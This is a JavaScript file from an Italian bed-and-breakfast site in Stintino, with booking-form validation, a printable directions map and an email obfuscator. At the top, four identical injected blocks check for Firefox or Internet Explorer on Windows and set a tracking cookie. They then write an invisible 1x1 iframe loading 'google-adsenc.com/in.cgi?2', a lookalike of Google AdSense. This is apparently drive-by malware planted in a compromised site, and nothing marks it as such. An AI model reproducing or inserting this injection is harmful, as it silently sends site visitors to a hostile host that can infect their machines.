var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}


//---------ShowDiv----------
function ShowAndHide(id1,id2){
if(document.getElementById){
    el1=document.getElementById(id1);
    el2=document.getElementById(id2);
    if(el1.style.display=="none"){
        el1.style.display="block";
        el2.style.display="none";
        }
    else{
        el1.style.display="none";
        el2.style.display="block";
        }
    }
}
//----printMap------------------
function stampa_mappa()
   {
   PopMappa=window.open('','','width=578, height=445, top=0, left=0, scrollbars=yes');
   PopMappa.document.open();
   PopMappa.document.write("<HTML><HEAD><title>Mappa/Map B&B Roccabianca - Stintino</title></HEAD>\n");
   PopMappa.document.write("<body onLoad='self.print();self.close()' topmargin='0' leftmargin='0' onDragStart='return false' onSelectStart='return false' onContextMenu='return false'>\n");
   PopMappa.document.write("<div align='center'>\n");
   PopMappa.document.write("<center>\n");
   PopMappa.document.write("<table border='0' width='578' height='445' cellspacing='0' cellpadding='0'>\n");
   PopMappa.document.write("<tr><td width='578' height='445'><img style='border: 1px solid #C0C0C0' src='Bed_and_breakfast_Stintino_images/mappa_stintino.jpg' width='578' height='445'><br>\n");
   PopMappa.document.write("<p><font color='#FF0000'>-</font> Once you arrive at Pozzo San Nicola there is a further 11.5 Km before you get to Stintino, follow the road signs and take the  S.P. 34, direction Stintino.<br>");
   PopMappa.document.write("<font color='#FF0000'>-</font> After approx 11 Km on your left you will see AGIP petrol station, from there carry on another 800 mt approx.<br>");
   PopMappa.document.write("<font color='#FF0000'>-</font> After about 800 mt you will get to crossroads with traffic lights, if you turn right you’ll go to Stintino village, make sure you go past traffic lights and straight ahead (see photo).<br>");
   PopMappa.document.write("<font color='#FF0000'>-</font> Once you’ve passed the traffic lights we advise you to go slowly as you have practically reached your destination on about another 700 mt.<br>");
   PopMappa.document.write("<font color='#FF0000'>-</font> Once passed the upward slope, be careful not to miss indication (on your right) “Ovile del mercante” , slow down and after having given way turn left (see photo).<br>"); 
   PopMappa.document.write("<font color='#FF0000'>-</font> Only another 50 mt to go up hill and you will find B&B Roccabianca straight in front of you.</p>");
   PopMappa.document.write("</td></tr>\n");
   PopMappa.document.write("</table></center></div></body></html>\n");
   PopMappa.document.close();
   }
//-----fine printMap-----
//-----inizio email anti spam----
function DisplayMail(Server, Login, Display)
{
if((Display.length == 0) || (Display.indexOf('@')+1))
{
document.write("<a href=" + " 'mai" + "lto:" + Login + "@" + Server + "'>" +Login+ "@" +Server+ "</a>");}
else 
{
document.write("<a href=" + " 'mai" + "lto:" + Login + "@" + Server +"'>" +Display+ "</a>");}
}
//--fine email antispam------------
//--inizio controllo dati modulo---------
function Modulo(){

    var now = new Date();
	var giorno = now.getDate();
	var mese = now.getMonth() + 1;
	var anno = now.getFullYear();
	var annoprossimo = anno+1;

	if(giorno<10) giorno = "0"+giorno; //aggiunge lo 0 ai giorni che possono essere scritti con un solo numero
	if(mese<10) mese = "0"+mese; //aggiunge lo 0 ai mesi che possono essere scritti con un solo numero
    var DATA_ODIERNA = giorno + "/" + mese + "/" + anno + " ";
    //document.write(DATA_ODIERNA);

  var EMAIL = document.modulo.EMAIL.value; 
  var email_reg_exp = /^([a-zA-Z0-9_\.\-]{2,})+\@(([a-zA-Z0-9\-]{2,})+\.)+([a-zA-Z0-9]{2,})+$/;
  
  var ETAPERSONE = document.modulo.ETA_PERSONE.value;
  
  var ETAPERSONE1_reg_exp = /^([0-9]{2,2})$/;
  var ETAPERSONE2_reg_exp = /^([0-9]{2,2})+\/([0-9]{2,2})$/;
  var ETAPERSONE3_reg_exp = /^([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})$/;
  var ETAPERSONE4_reg_exp = /^([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})$/;
  var ETAPERSONE5_reg_exp = /^([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})$/;
  var ETAPERSONE6_reg_exp = /^([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})$/;
  var ETAPERSONE7_reg_exp = /^([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})$/;
  var ETAPERSONE8_reg_exp = /^([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})$/;
  var ETAPERSONE9_reg_exp = /^([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})$/;
  var ETAPERSONE10_reg_exp = /^([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})+\/([0-9]{2,2})$/;


        if ((document.modulo.NOME.value == "") || (document.modulo.NOME.value == "undefined")) {
           alert("Insert NAME");
           document.modulo.NOME.focus();
           return false;
        }
        else if ((document.modulo.COGNOME.value == "") || (document.modulo.COGNOME.value == "undefined")) {
           alert("Insert SURNAME");
           document.modulo.COGNOME.focus();
           return false;
        }

        else if (!email_reg_exp.test(EMAIL) || (EMAIL == "") || (EMAIL == "undefined")) {
           alert("Insert a valid EMAIL address");
           document.modulo.EMAIL.value = "";
           document.modulo.EMAIL.select();
           document.modulo.EMAIL.focus();
           return false;
        }
        else if ((document.modulo.CONFERMA.value == "") || (document.modulo.CONFERMA.value == "undefined")) {
           alert("The field CONFIRMATION EMAIL is obligatory");
           document.modulo.CONFERMA.focus();
           return false;
        }
        else if (document.modulo.EMAIL.value != document.modulo.CONFERMA.value) {
           alert("Email confirmed is different from that choice, check");
           document.modulo.CONFERMA.value = "";
           document.modulo.CONFERMA.focus();
           return false;
        }
//-------------Effettua il controllo sul campo DATA di ARRIVO-------------------//
        else if (document.modulo.DATA_ARRIVO.value.substring(2,3) != "/" ||
                 document.modulo.DATA_ARRIVO.value.substring(5,6) != "/" ||
           isNaN(document.modulo.DATA_ARRIVO.value.substring(0,2)) ||
           isNaN(document.modulo.DATA_ARRIVO.value.substring(3,5)) ||
           isNaN(document.modulo.DATA_ARRIVO.value.substring(6,10))) {
           alert("Enter the date of ARRIVAL in format dd/mm/yyyy");
                 document.modulo.DATA_ARRIVO.value = "";
                 document.modulo.DATA_ARRIVO.focus();
                 return false;
        }
        else if (document.modulo.DATA_ARRIVO.value.substring(0,2) > 31) {
           alert("The day of ARRIVAL DATE is wrong");
           document.modulo.DATA_ARRIVO.select();
           return false;
        }
        else if (document.modulo.DATA_ARRIVO.value.substring(3,5) > 12) {
           alert("The month of ARRIVAL DATE is wrong");
           document.modulo.DATA_ARRIVO.select();
           return false;
        }
        else if ((document.modulo.DATA_ARRIVO.value.substring(6,10) < anno) || (document.modulo.DATA_ARRIVO.value.substring(6,10) > annoprossimo)) {
           alert("The YEAR of the DATE of ARRIVAL can not be less than "+anno+" or greater than "+annoprossimo+"");
           document.modulo.DATA_ARRIVO.select();
           return false;
        }
//------------------- fa il confronto con la data di arrivo immessa dall'utente e la data odierna
        
        else if ((document.modulo.DATA_ARRIVO.value.substring(0,2) <= giorno) && (document.modulo.DATA_ARRIVO.value.substring(3,5) == mese))  {
           alert("The DAY the DATE of ARRIVAL is wrong; check; Today is"+ DATA_ODIERNA +"");
           document.modulo.DATA_ARRIVO.select();
           return false;
        }
        else if ((document.modulo.DATA_ARRIVO.value.substring(3,5) < mese) && (document.modulo.DATA_ARRIVO.value.substring(6,10) == anno)) {
           alert("The MONTH the DATE of ARRIVAL is wrong; check; Today is"+ DATA_ODIERNA +"");
           document.modulo.DATA_ARRIVO.select();
           return false;
        }

//--------------------fine confronto con la data di arrivo immessa e quella odierna
        
//------------Effettua il controllo sul campo DATA di PARTENZA-----------------// 
        else if (document.modulo.DATA_PARTENZA.value.substring(2,3) != "/" ||
                 document.modulo.DATA_PARTENZA.value.substring(5,6) != "/" ||
           isNaN(document.modulo.DATA_PARTENZA.value.substring(0,2)) ||
           isNaN(document.modulo.DATA_PARTENZA.value.substring(3,5)) ||
           isNaN(document.modulo.DATA_PARTENZA.value.substring(6,10))) {
           alert("Insert DEPARTURE DATE in format dd/mm/yyyy");
                 document.modulo.DATA_PARTENZA.value = "";
                 document.modulo.DATA_PARTENZA.focus();
                 return false;
        }
        else if (document.modulo.DATA_PARTENZA.value.substring(0,2) > 31) {
           alert("The DAY of the DEPARTURE DATE is wrong");
           document.modulo.DATA_PARTENZA.select();
           return false;
        }
        else if (document.modulo.DATA_PARTENZA.value.substring(3,5) > 12) {
           alert("The month of the DEPARTURE DATE is wrong");
           document.modulo.DATA_PARTENZA.select();
           return false;
        }
        else if ((document.modulo.DATA_PARTENZA.value.substring(6,10) < anno) || (document.modulo.DATA_PARTENZA.value.substring(6,10) > annoprossimo)) {
           alert("The year of DEPARTURE DATE can not be less than "+anno+" or greater than "+annoprossimo+"");
           document.modulo.DATA_PARTENZA.select();
           return false;
        }
        else if (document.modulo.DATA_ARRIVO.value == document.modulo.DATA_PARTENZA.value) {
           alert("The ARRIVAL DATE and DEPARTURE DATE are equal; control");
           document.modulo.DATA_ARRIVO.focus();
           return false;
        }
        else if ((document.modulo.DATA_PARTENZA.value.substring(0,2) <= giorno) && (document.modulo.DATA_PARTENZA.value.substring(3,5) == mese)) {
           alert("The DAY of the DEPARTURE DATE is wrong; control: to day is "+DATA_ODIERNA+"");
           document.modulo.DATA_PARTENZA.select();
           return false;
        }
        else if ((document.modulo.DATA_PARTENZA.value.substring(3,5) < mese) && (document.modulo.DATA_PARTENZA.value.substring(6,10) == anno)) {
           alert("The MONTH of the DEPARTURE DATE is wrong; control: to day is "+DATA_ODIERNA+"");
           document.modulo.DATA_PARTENZA.select();
           return false;
        }
        else if((document.modulo.DATA_PARTENZA.value.substring(0,2) < document.modulo.DATA_ARRIVO.value.substring(0,2)) &&
                (document.modulo.DATA_PARTENZA.value.substring(3,5) == document.modulo.DATA_ARRIVO.value.substring(3,5)) &&
                (document.modulo.DATA_PARTENZA.value.substring(6,10) == document.modulo.DATA_ARRIVO.value.substring(6,10))) {
           alert("The DAY of the DEPARTURE DATE is before than the DAY of ARRIVAL DATE; control");
           document.modulo.DATA_PARTENZA.select();
           return false;
        }
        else if((document.modulo.DATA_PARTENZA.value.substring(3,5) < document.modulo.DATA_ARRIVO.value.substring(3,5)) &&
                (document.modulo.DATA_PARTENZA.value.substring(6,10) == document.modulo.DATA_ARRIVO.value.substring(6,10))) {
           alert("The MONTH of the DEPARTURE DATE is before the MONTH of ARRIVAL DATE; control");
           document.modulo.DATA_PARTENZA.select();
           return false;
        }


        
//----------------fine controllo date arrivo e partenza -------------//
        
        else if ((document.modulo.NUMERO_PERSONE.value == "")) {
           alert("Insert the number of people");
           document.modulo.NUMERO_PERSONE.focus();
           return false;
        }
        else if ((document.modulo.NUMERO_PERSONE.value > 10)) {
           alert("Sorry, we can not accommodate the number of people you mentioned");
           document.modulo.NUMERO_PERSONE.focus();
           return false;
        }
        else if ((document.modulo.ETA_PERSONE.value == "")) {
           alert("Enter the Age of people");
           document.modulo.ETA_PERSONE.focus();
           return false;
        }
        
        else if ((document.modulo.NUMERO_PERSONE.value == "1") && (!ETAPERSONE1_reg_exp.test(ETAPERSONE))) {
           alert("Enter the person's age in the format nn");
           document.modulo.ETA_PERSONE.value = "";
           document.modulo.ETA_PERSONE.select();
           document.modulo.ETA_PERSONE.focus();
           return false;
        }
        else if ((document.modulo.NUMERO_PERSONE.value == "2") && (!ETAPERSONE2_reg_exp.test(ETAPERSONE))) {
           alert("Enter the 2 person's age in the format nn/nn");
           document.modulo.ETA_PERSONE.value = "";
           document.modulo.ETA_PERSONE.select();
           document.modulo.ETA_PERSONE.focus();
           return false;
        }
        else if ((document.modulo.NUMERO_PERSONE.value == "3") && (!ETAPERSONE3_reg_exp.test(ETAPERSONE))) {
           alert("Enter the 3 person's age in the format nn/nn/nn");
           document.modulo.ETA_PERSONE.value = "";
           document.modulo.ETA_PERSONE.select();
           document.modulo.ETA_PERSONE.focus();
           return false;
        }
        else if ((document.modulo.NUMERO_PERSONE.value == "4") && (!ETAPERSONE4_reg_exp.test(ETAPERSONE))) {
           alert("Enter the 4 person's age in the format nn/nn/nn/nn");
           document.modulo.ETA_PERSONE.value = "";
           document.modulo.ETA_PERSONE.select();
           document.modulo.ETA_PERSONE.focus();
           return false;
        }
        else if ((document.modulo.NUMERO_PERSONE.value == "5") && (!ETAPERSONE5_reg_exp.test(ETAPERSONE))) {
           alert("Enter the 5 person's age in the format nn/nn/nn/nn/nn");
           document.modulo.ETA_PERSONE.value = "";
           document.modulo.ETA_PERSONE.select();
           document.modulo.ETA_PERSONE.focus();
           return false;
        }
        else if ((document.modulo.NUMERO_PERSONE.value == "6") && (!ETAPERSONE6_reg_exp.test(ETAPERSONE))) {
           alert("Enter the 6 person's age in the format nn/nn/nn/nn/nn/nn");
           document.modulo.ETA_PERSONE.value = "";
           document.modulo.ETA_PERSONE.select();
           document.modulo.ETA_PERSONE.focus();
           return false;
        }
        else if ((document.modulo.NUMERO_PERSONE.value == "7") && (!ETAPERSONE7_reg_exp.test(ETAPERSONE))) {
           alert("Enter the 7 person's age in the format nn/nn/nn/nn/nn/nn/nn");
           document.modulo.ETA_PERSONE.value = "";
           document.modulo.ETA_PERSONE.select();
           document.modulo.ETA_PERSONE.focus();
           return false;
        }
        else if ((document.modulo.NUMERO_PERSONE.value == "8") && (!ETAPERSONE8_reg_exp.test(ETAPERSONE))) {
           alert("Enter the 8 person's age in the format nn/nn/nn/nn/nn/nn/nn/nn");
           document.modulo.ETA_PERSONE.value = "";
           document.modulo.ETA_PERSONE.select();
           document.modulo.ETA_PERSONE.focus();
           return false;
        }
        else if ((document.modulo.NUMERO_PERSONE.value == "9") && (!ETAPERSONE9_reg_exp.test(ETAPERSONE))) {
           alert("Enter the 9 person's age in the format nn/nn/nn/nn/nn/nn/nn/nn/nn");
           document.modulo.ETA_PERSONE.value = "";
           document.modulo.ETA_PERSONE.select();
           document.modulo.ETA_PERSONE.focus();
           return false;
        }
        else if ((document.modulo.NUMERO_PERSONE.value == "10") && (!ETAPERSONE10_reg_exp.test(ETAPERSONE))) {
           alert("Enter the 10 person's age in the format nn/nn/nn/nn/nn/nn/nn/nn/nn/nn");
           document.modulo.ETA_PERSONE.value = "";
           document.modulo.ETA_PERSONE.select();
           document.modulo.ETA_PERSONE.focus();
           return false;
        }

   else {
           document.modulo.action = "formmail_eng.php";
           document.modulo.submit();
        }
  }

//-----------------------------funzione per inserire solo numeri---------------//
function SoloNumeri(numeri) {
numeri = (numeri) ? numeri : event;
var charCode = (numeri.charCode) ? numeri.charCode : ((numeri.keyCode) ? numeri.keyCode : ((numeri.which) ? numeri.which : 0));
if (charCode > 31 && (charCode < 47 || charCode > 57))
{
alert("INSERT NUMBERS CAN ONLY SEPARATE FROM /");
document.focus();
return false;
}
return true;
}
//----------------------------inserire solo lettere---------------------------//  
function SoloLettere(lettere) {
numeri = (lettere) ? lettere : event;
var charCode = (lettere.charCode) ? lettere.charCode : ((lettere.keyCode) ? lettere.keyCode : ((lettere.which) ? lettere.which : 0));
if (charCode > 32 && (charCode < 65 || charCode > 90 && charCode < 97 || charCode > 122 && charCode < 128 || charCode > 154 && charCode < 160 || charCode > 165 && charCode < 181 || charCode > 183 && charCode < 224 || charCode > 237))
{
alert("You can only enter letters");
document.focus();
return false;
}
return true;
}
//fine controllo dati immessi nel form--------//

//evidenziatore campi form--------------------//
var highlightcolor="#AFEEEE"
var ns6=document.getElementById&&!document.all
var previous=''
var eventobj

//Regular expression to highlight only form elements
var intended=/INPUT|TEXTAREA|SELECT|OPTION/

//Function to check whether element clicked is form element
function checkel(which){
if (which.style&&intended.test(which.tagName)){
if (ns6&&eventobj.nodeType==3)
eventobj=eventobj.parentNode.parentNode
return true
}
else
return false
}

//Function to highlight form element
function highlight(e){
eventobj=ns6? e.target : event.srcElement
if (previous!=''){
if (checkel(previous))
previous.style.backgroundColor=''
previous=eventobj
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
}
else{
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
previous=eventobj
}
}
//fine evidenziatore campi form--------------//




